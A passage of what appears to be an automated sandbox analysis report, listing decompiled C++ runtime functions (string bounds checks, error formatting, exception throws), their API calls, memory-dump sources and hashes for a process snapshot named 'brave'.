				if (_t81 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x9f805c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t81 * 8)) = _t147;
				 *(__rbx + 0x38) = _t81 + 1;
				E00007FF67FF69F804DD0();
				_a40 = _t116;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t147 + 3;
				E00007FF67FF69F807F20(_t116, __rbx);
				_t140 = _t116;
				if (_t116 != 0) goto 0x9f806386;
				goto 0x9f805c20;
				asm("o16 nop [eax+eax]");
				_push(0x9fab53e0);
				_push(_t140);
				_push(__rbx);
				_t117 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x9f8066c8;
				 *(__rbx + 0x18) =  &(_t117[1]);
				r10d =  *_t117 & 0x000000ff;
				if (sil != 0) goto 0x9f8066d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t69 = (r8d >> 0x1f) + r8d >> 1;
				_t102 =  *((intOrPtr*)( *((intOrPtr*)(0x9fab4820 + (_t69 + _t69 * 2) * 8)))) - r10b;
				if (_t102 == 0) goto 0x9f806680;
				if (_t102 <= 0) goto 0x9f8066c0;
				r8d = _t69;
				if (0 != r8d) goto 0x9f806648;
				return 0;
			}

0x7ff69f8063ff
0x7ff69f806405
0x7ff69f80641c
0x7ff69f806420
0x7ff69f806428
0x7ff69f80642b
0x7ff69f806431
0x7ff69f806435
0x7ff69f80643e
0x7ff69f806444
0x7ff69f80645b
0x7ff69f80645f
0x7ff69f806467
0x7ff69f80646a
0x7ff69f806470
0x7ff69f806474
0x7ff69f806480
0x7ff69f806485
0x7ff69f806493
0x7ff69f806498
0x7ff69f8064a2
0x7ff69f8064a8
0x7ff69f8064bf
0x7ff69f8064c3
0x7ff69f8064cb
0x7ff69f8064ce
0x7ff69f8064d4
0x7ff69f8064d8
0x7ff69f8064dc
0x7ff69f8064eb
0x7ff69f8064f0
0x7ff69f8064f8
0x7ff69f806501
0x7ff69f806507
0x7ff69f806512
0x7ff69f806517
0x7ff69f80651e
0x7ff69f806522
0x7ff69f806537
0x7ff69f80653c
0x7ff69f806541
0x7ff69f806544
0x7ff69f806550
0x7ff69f806557
0x7ff69f80655e
0x7ff69f80656a
0x7ff69f80656c
0x7ff69f806570
0x7ff69f806575
0x7ff69f80657c
0x7ff69f80657f
0x7ff69f806584
0x7ff69f80658c
0x7ff69f806592
0x7ff69f806598
0x7ff69f8065a8
0x7ff69f8065b2
0x7ff69f8065ba
0x7ff69f8065bf
0x7ff69f8065d0
0x7ff69f8065da
0x7ff69f8065de
0x7ff69f8065e6
0x7ff69f8065ec
0x7ff69f8065f2
0x7ff69f8065f7
0x7ff69f806600
0x7ff69f806601
0x7ff69f806602
0x7ff69f806607
0x7ff69f806614
0x7ff69f80661e
0x7ff69f806626
0x7ff69f80662d
0x7ff69f806633
0x7ff69f806642
0x7ff69f806656
0x7ff69f806666
0x7ff69f806669
0x7ff69f80666b
0x7ff69f80666d
0x7ff69f806673
0x7ff69f80667e

APIs

malloc.MSVCRT ref: 00007FF69F832752

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 277ec0329c7c4dbc9df98e64df30877a426ff65a56704ba7fd0b275a463b7bd2
Instruction ID: f83e7e32e656876bd7a5c760471dd6c123c6b3ec05eaea0a4c8904e342677645
Opcode Fuzzy Hash: 277ec0329c7c4dbc9df98e64df30877a426ff65a56704ba7fd0b275a463b7bd2
Instruction Fuzzy Hash: 2E110572A09B05C2E7A58F14E9803A933F1FB84749F669976C24C873A4DF7CA591D390

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF69F8029D0 Relevance: 9.1, APIs: 7, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cd3c0788ace8e5d82bcee7962f1b7f621a1a097344988d1170d49da7047890e
Instruction ID: 16732037019cec671af4c040fc3a923fca713e194cbaf2b65e178aeafa70eb30
Opcode Fuzzy Hash: 8cd3c0788ace8e5d82bcee7962f1b7f621a1a097344988d1170d49da7047890e
Instruction Fuzzy Hash: FB12E222A18BC281EB618B29E5057FA67A0FF957D4F468271EE8C83795EFBDD140D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80F6C0 Relevance: 9.0, APIs: 6, Instructions: 35
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F80F6C0(void* __rcx) {
				long _t1;

				_t1 = GetLastError();
				if (_t1 != 0) goto 0x9f80f6e0;
				return _t1;
			}

0x7ff69f80f6ca
0x7ff69f80f6d2
0x7ff69f80f6db

APIs

GetLastError.KERNEL32 ref: 00007FF69F80F6CA
FormatMessageA.KERNEL32 ref: 00007FF69F80F70B
IsDebuggerPresent.KERNEL32 ref: 00007FF69F80F715

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: DebuggerErrorFormatLastMessagePresent
String ID:
API String ID: 2392558662-0
Opcode ID: 45af6df8f3c1be2e0205f91125e02e1abf725a7bbf325bdbd81304aa25dfb69b
Instruction ID: c6d39b64be1a216cba49a53e7295a1421faac47c547426715fe7b73644fe811d
Opcode Fuzzy Hash: 45af6df8f3c1be2e0205f91125e02e1abf725a7bbf325bdbd81304aa25dfb69b
Instruction Fuzzy Hash: A1018621A1C506C2EAB08F15F85437A23B4FF85B84F494074DA4DC6664EF7CD444D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F828100 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 73
stringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF67FF69F828100(long long* __rcx, void* __rdx, void* __r8, void* __r9, void* _a40) {

				if (__r9 - 0xfffffff9 + __r8 - __rdx -  *((intOrPtr*)( *((intOrPtr*)(__rcx)) - 0x18)) > 0) goto 0x9f828180;
				E00007FF67FF69F828580(__rcx, __rdx -  *((intOrPtr*)(__rcx)), __r8 - __rdx, __r9);
				if (__r9 == 0) goto 0x9f82815e;
				if (__r9 == 1) goto 0x9f828170;
				return memset(??, ??, ??);
			}

0x7ff69f828133
0x7ff69f82813b
0x7ff69f828143
0x7ff69f828150
0x7ff69f82816a

APIs

strlen.MSVCRT ref: 00007FF69F8281A9

Part of subcall function 00007FF69F828580: memcpy.MSVCRT ref: 00007FF69F8285FB

memset.MSVCRT ref: 00007FF69F828159

Strings

basic_string::_M_replace_aux, xrefs: 00007FF69F828180

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: basic_string::_M_replace_aux
API String ID: 160209724-2536181960
Opcode ID: e13b374acd0977eb9fd4fe879805c0dd20afc90dbef44aaa3ecbdcb4d051adf7
Instruction ID: eb21f6172c609ff8088d3c601a63d15be25380ef6bcfb9e00aff615725d63967
Opcode Fuzzy Hash: e13b374acd0977eb9fd4fe879805c0dd20afc90dbef44aaa3ecbdcb4d051adf7
Instruction Fuzzy Hash: 5F110102F191A851EC61AA2B7D014E95320BB4AFE4E994372EE1C577C1ED3CA883D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8281D0 Relevance: 2.5, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00007FF67FF69F8281D0(long long* __rcx, void* __rdx, void* __r8, void* __r9, intOrPtr _a40) {
				void* _t5;
				intOrPtr _t24;
				intOrPtr _t27;
				intOrPtr _t35;

				_t27 = _a40;
				_t24 =  *((intOrPtr*)(__rcx));
				_t35 =  *((intOrPtr*)(_t24 - 0x18));
				if (__rdx - _t35 > 0) goto 0x9f82839f;
				_t30 =  >  ? __r8 : _t35 - __rdx;
				if (_t27 - 0xfffffff9 - _t35 + ( >  ? __r8 : _t35 - __rdx) > 0) goto 0x9f828393;
				if (_t24 - __r9 > 0) goto 0x9f828240;
				if (__r9 - _t35 + _t24 > 0) goto 0x9f828240;
				if ( *((intOrPtr*)(_t24 - 8)) <= 0) goto 0x9f828288;
				_t5 = E00007FF67FF69F828580(__rcx, __rdx,  >  ? __r8 : _t35 - __rdx, _t27);
				if (_t27 == 0) goto 0x9f828272;
				if (_t27 == 1) goto 0x9f8282f0;
				0x9f821698();
				return _t5;
			}

0x7ff69f8281dd
0x7ff69f8281e8
0x7ff69f8281f1
0x7ff69f8281f8
0x7ff69f828211
0x7ff69f82821e
0x7ff69f828227
0x7ff69f82822f
0x7ff69f828236
0x7ff69f82824c
0x7ff69f828254
0x7ff69f828261
0x7ff69f82826d
0x7ff69f828282

Strings

basic_string::replace, xrefs: 00007FF69F8283A2
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F8283A9

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::replace
API String ID: 0-3564965661
Opcode ID: 52bc733c84fad3ed6fbef407dfbaf4f05d60fd4f932c361f6de10b9818d5177c
Instruction ID: ce789e5c99753fd7a7b0720b575adab71aa5de340dd4c4135705b4e801580463
Opcode Fuzzy Hash: 52bc733c84fad3ed6fbef407dfbaf4f05d60fd4f932c361f6de10b9818d5177c
Instruction Fuzzy Hash: 5CF03055F08A8AA0D920AF63DD454FAA331FB5ABC8F855472FE0C9B356DE38E112D340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F82C000 Relevance: 2.5, Strings: 2, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00007FF67FF69F82C000(void* __rcx, intOrPtr* __rdx, void* __r8, void* __r9) {
				long long _v24;
				void* _t7;
				void* _t12;
				intOrPtr _t21;

				_t21 =  *((intOrPtr*)(__rdx + 8));
				_t12 = _t21 - __r8;
				_t19 =  <=  ? _t12 : __r9;
				if (__r8 - _t21 > 0) goto 0x9f82c036;
				_v24 =  <=  ? _t12 : __r9;
				return E00007FF67FF69F82AE20(0, _t7, __rcx, __rdx,  *((intOrPtr*)(__rcx + 8)),  *__rdx + __r8);
			}

0x7ff69f82c004
0x7ff69f82c00b
0x7ff69f82c011
0x7ff69f82c01b
0x7ff69f82c01d
0x7ff69f82c035

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F82C040
basic_string::assign, xrefs: 00007FF69F82C039

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::assign
API String ID: 3510742995-2669816585
Opcode ID: 336f956ad0847754b7ed12ec066e3f99e5549a7b523b592d2852de853e97e5d0
Instruction ID: acb5d84f5c21a4dcbed5e79a4d94fcbe954431c409823edcda57e797b56c0b47
Opcode Fuzzy Hash: 336f956ad0847754b7ed12ec066e3f99e5549a7b523b592d2852de853e97e5d0
Instruction Fuzzy Hash: 88F0F06AE00B8995E620AF61D8000ECA331FB99F94F864073DA4C53325CF3CE553D704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F82F1C0 Relevance: 2.5, Strings: 2, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00007FF67FF69F82F1C0(void* __rcx, intOrPtr* __rdx, signed int __r8, void* __r9) {
				long long _v24;
				void* _t8;
				void* _t13;
				intOrPtr _t22;

				_t22 =  *((intOrPtr*)(__rdx + 8));
				_t13 = _t22 - __r8;
				_t20 =  <=  ? _t13 : __r9;
				if (__r8 - _t22 > 0) goto 0x9f82f1f6;
				_v24 =  <=  ? _t13 : __r9;
				return E00007FF67FF69F82DEF0(0, _t8, __rcx, __rdx,  *((intOrPtr*)(__rcx + 8)),  *__rdx + __r8 * 2);
			}

0x7ff69f82f1c4
0x7ff69f82f1cb
0x7ff69f82f1d1
0x7ff69f82f1db
0x7ff69f82f1dd
0x7ff69f82f1f5

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F82F200
basic_string::assign, xrefs: 00007FF69F82F1F9

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::assign
API String ID: 3510742995-2669816585
Opcode ID: 8a923c3d374cfffc7e0aa0d47eacc92a0f8a036f2f6f80d67fa431de05af8495
Instruction ID: 481444c0339588f02bce6e5aae48fdfed8e9c12b0bddfb7bbcf4ae192ca255e0
Opcode Fuzzy Hash: 8a923c3d374cfffc7e0aa0d47eacc92a0f8a036f2f6f80d67fa431de05af8495
Instruction Fuzzy Hash: AEF0CD6AE04BC985DA10AF6AD8000E8A730F7A8F84F864562EA4C93321CF3CE592C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F825530 Relevance: 2.5, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F825530(signed int** __rcx, intOrPtr* __rdx, void* __r8, void* __r9) {
				intOrPtr _t8;

				_t8 =  *((intOrPtr*)(__rdx + 8));
				if (__r8 - _t8 > 0) goto 0x9f825576;
				 *((long long*)(__rcx)) = __rcx + 0x10;
				_t10 =  >  ? __r9 : _t8 - __r8;
				r9d = 0;
				return E00007FF67FF69F82B310(__rcx,  *__rdx + __r8,  *__rdx + __r8 + ( >  ? __r9 : _t8 - __r8));
			}

0x7ff69f825536
0x7ff69f825540
0x7ff69f825549
0x7ff69f825556
0x7ff69f82555d
0x7ff69f825575

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F825580
basic_string::substr, xrefs: 00007FF69F825579

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: 101c97d25de8f3686c31f21e631c822240c8c23bd588f4edd234e44d22aeb880
Instruction ID: 88763595555f4e055c898863bb12d8eada7ca44364593d0dbdb567c297efdb3e
Opcode Fuzzy Hash: 101c97d25de8f3686c31f21e631c822240c8c23bd588f4edd234e44d22aeb880
Instruction Fuzzy Hash: 40F0E222F10B0A81EE10DBAAE4944B86360FB65FC4B915872C90DA7310EE3CE142D344

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8322E0 Relevance: 1.4, Strings: 1, Instructions: 187
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00007FF67FF69F8322E0() {
				long long _v584;
				void* _t81;
				void* _t83;
				void* _t84;
				int*** _t87;
				intOrPtr _t88;
				int** _t89;
				intOrPtr _t90;
				int* _t91;
				intOrPtr _t92;
				int _t93;
				long long* _t102;
				void* _t103;
				void* _t104;
				int _t119;
				int _t127;
				void* _t193;
				void* _t194;
				int _t195;
				int _t196;
				int _t197;
				int _t198;
				int _t199;
				int _t200;
				int _t201;
				int _t202;
				void* _t204;
				int _t210;
				int _t214;

				E00007FF67FF69F8319A0(_t83, _t84, _t87, _t104);
				_t88 =  *0x9fab6830; // 0x7ff69fab7390
				_t89 = _t88 + 0x10;
				 *_t87 = _t89;
				E00007FF67FF69F832160(8, _t81, _t89, _t103, _t87, 0x9fab6cb0, 0x7ff69f830fb0, _t193, _t194, _t204);
				0;
				0;
				E00007FF67FF69F8319A0(_t83, _t84, _t89, _t87);
				_t90 =  *0x9fab6820; // 0x7ff69fab7360
				_t91 = _t90 + 0x10;
				 *_t89 = _t91;
				E00007FF67FF69F832160(8, _t81, _t91, _t103, _t89, 0x9fab6c90, 0x7ff69f830f70, _t193, _t194, _t204);
				0;
				0;
				E00007FF67FF69F8319A0(_t83, _t84, _t91, _t89);
				_t107 = _t91;
				_t92 =  *0x9fab6770; // 0x7ff69fab7150
				_t93 = _t92 + 0x10;
				 *_t91 = _t93;
				E00007FF67FF69F832160(8, _t81, _t93, _t103, _t91, 0x9fab6b30, 0x7ff69f829670, _t193, _t194, _t204);
				0;
				0;
				_push(_t204);
				_push(_t194);
				E00007FF67FF69F8319A0(_t83, _t84, _t93, _t107);
				_t195 = _t93;
				E00007FF67FF69F829680(_t93, _t107);
				E00007FF67FF69F832160(0x10, _t81, _t93, _t103, _t195, 0x9fab6b50, 0x7ff69f8297b0, _t193, _t195, _t107);
				_t206 = _t93;
				E00007FF67FF69F831CF0(_t195);
				E00007FF67FF69F80FEC0();
				_push(_t93);
				_push(_t195);
				E00007FF67FF69F8319A0(_t83, _t84, _t93, _t93);
				_t196 = _t93;
				E00007FF67FF69F829F90(_t93, _t93);
				E00007FF67FF69F832160(0x10, _t81, _t93, _t103, _t196, 0x9fab6b90, 0x7ff69f82a0b0, _t193, _t196, _t206);
				_t208 = _t93;
				E00007FF67FF69F831CF0(_t196);
				E00007FF67FF69F80FEC0();
				_push(_t93);
				_push(_t196);
				E00007FF67FF69F8319A0(_t83, _t84, _t93, _t93);
				_t197 = _t93;
				E00007FF67FF69F82AC70(_t93, _t93);
				E00007FF67FF69F832160(0x10, _t81, _t93, _t103, _t197, 0x9fab6c70, 0x7ff69f82ad90, _t193, _t197, _t208);
				_t210 = _t93;
				E00007FF67FF69F831CF0(_t197);
				_t119 = _t210;
				E00007FF67FF69F80FEC0();
				_push(_t210);
				_push(_t197);
				E00007FF67FF69F8319A0(_t83, _t84, _t93, _t119);
				_t198 = _t93;
				E00007FF67FF69F82A110(_t93, _t119);
				E00007FF67FF69F832160(0x10, _t81, _t93, _t103, _t198, 0x9fab6bb0, 0x7ff69f82a230, _t193, _t198, _t119);
				_t212 = _t93;
				E00007FF67FF69F831CF0(_t198);
				E00007FF67FF69F80FEC0();
				_push(_t93);
				_push(_t198);
				E00007FF67FF69F8319A0(_t83, _t84, _t93, _t93);
				_t199 = _t93;
				E00007FF67FF69F82A290(_t93, _t93);
				E00007FF67FF69F832160(0x10, _t81, _t93, _t103, _t199, 0x9fab6bd0, 0x7ff69f82a3b0, _t193, _t199, _t212);
				_t214 = _t93;
				E00007FF67FF69F831CF0(_t199);
				_t127 = _t214;
				E00007FF67FF69F80FEC0();
				_push(_t214);
				_push(_t199);
				E00007FF67FF69F8319A0(_t83, _t84, _t93, _t127);
				_t200 = _t93;
				E00007FF67FF69F82A7A0(_t93, _t127);
				E00007FF67FF69F832160(0x10, _t81, _t93, _t103, _t200, 0x9fab6c10, 0x7ff69f82a8d0, _t193, _t200, _t127);
				_t216 = _t93;
				E00007FF67FF69F831CF0(_t200);
				E00007FF67FF69F80FEC0();
				_push(_t93);
				_push(_t200);
				E00007FF67FF69F8319A0(_t83, _t84, _t93, _t93);
				_t201 = _t93;
				E00007FF67FF69F829850(_t93, _t93);
				E00007FF67FF69F832160(0x10, _t81, _t93, _t103, _t201, 0x9fab6b70, 0x7ff69f829970, _t193, _t201, _t216);
				_t218 = _t93;
				E00007FF67FF69F831CF0(_t201);
				E00007FF67FF69F80FEC0();
				_push(_t93);
				_push(_t201);
				E00007FF67FF69F8319A0(_t83, _t84, _t93, _t93);
				_t202 = _t93;
				E00007FF67FF69F82A970(_t93, _t93);
				E00007FF67FF69F832160(0x10, _t81, _t93, _t103, _t202, 0x9fab6c30, 0x7ff69f82aa90, _t193, _t202, _t218);
				_t220 = _t93;
				E00007FF67FF69F831CF0(_t202);
				E00007FF67FF69F80FEC0();
				_push(_t93);
				E00007FF67FF69F8319A0(_t83, _t84, _t93, _t93);
				E00007FF67FF69F82AAF0(_t93, _t93);
				E00007FF67FF69F832160(0x10, _t81, _t93, _t103, _t93, 0x9fab6c50, 0x7ff69f82ac10, _t193, _t93, _t220);
				E00007FF67FF69F831CF0(_t93);
				E00007FF67FF69F80FEC0();
				_v584 = 0;
				asm("ud2");
				_v584 = 0;
				asm("ud2");
				_v584 = 0;
				asm("ud2");
				_v584 = 0;
				asm("ud2");
				 *0 = 0;
				asm("ud2");
				_v584 = 0;
				asm("ud2");
				_v584 = 0;
				asm("ud2");
				_v584 = 0;
				asm("ud2");
				_v584 = 0;
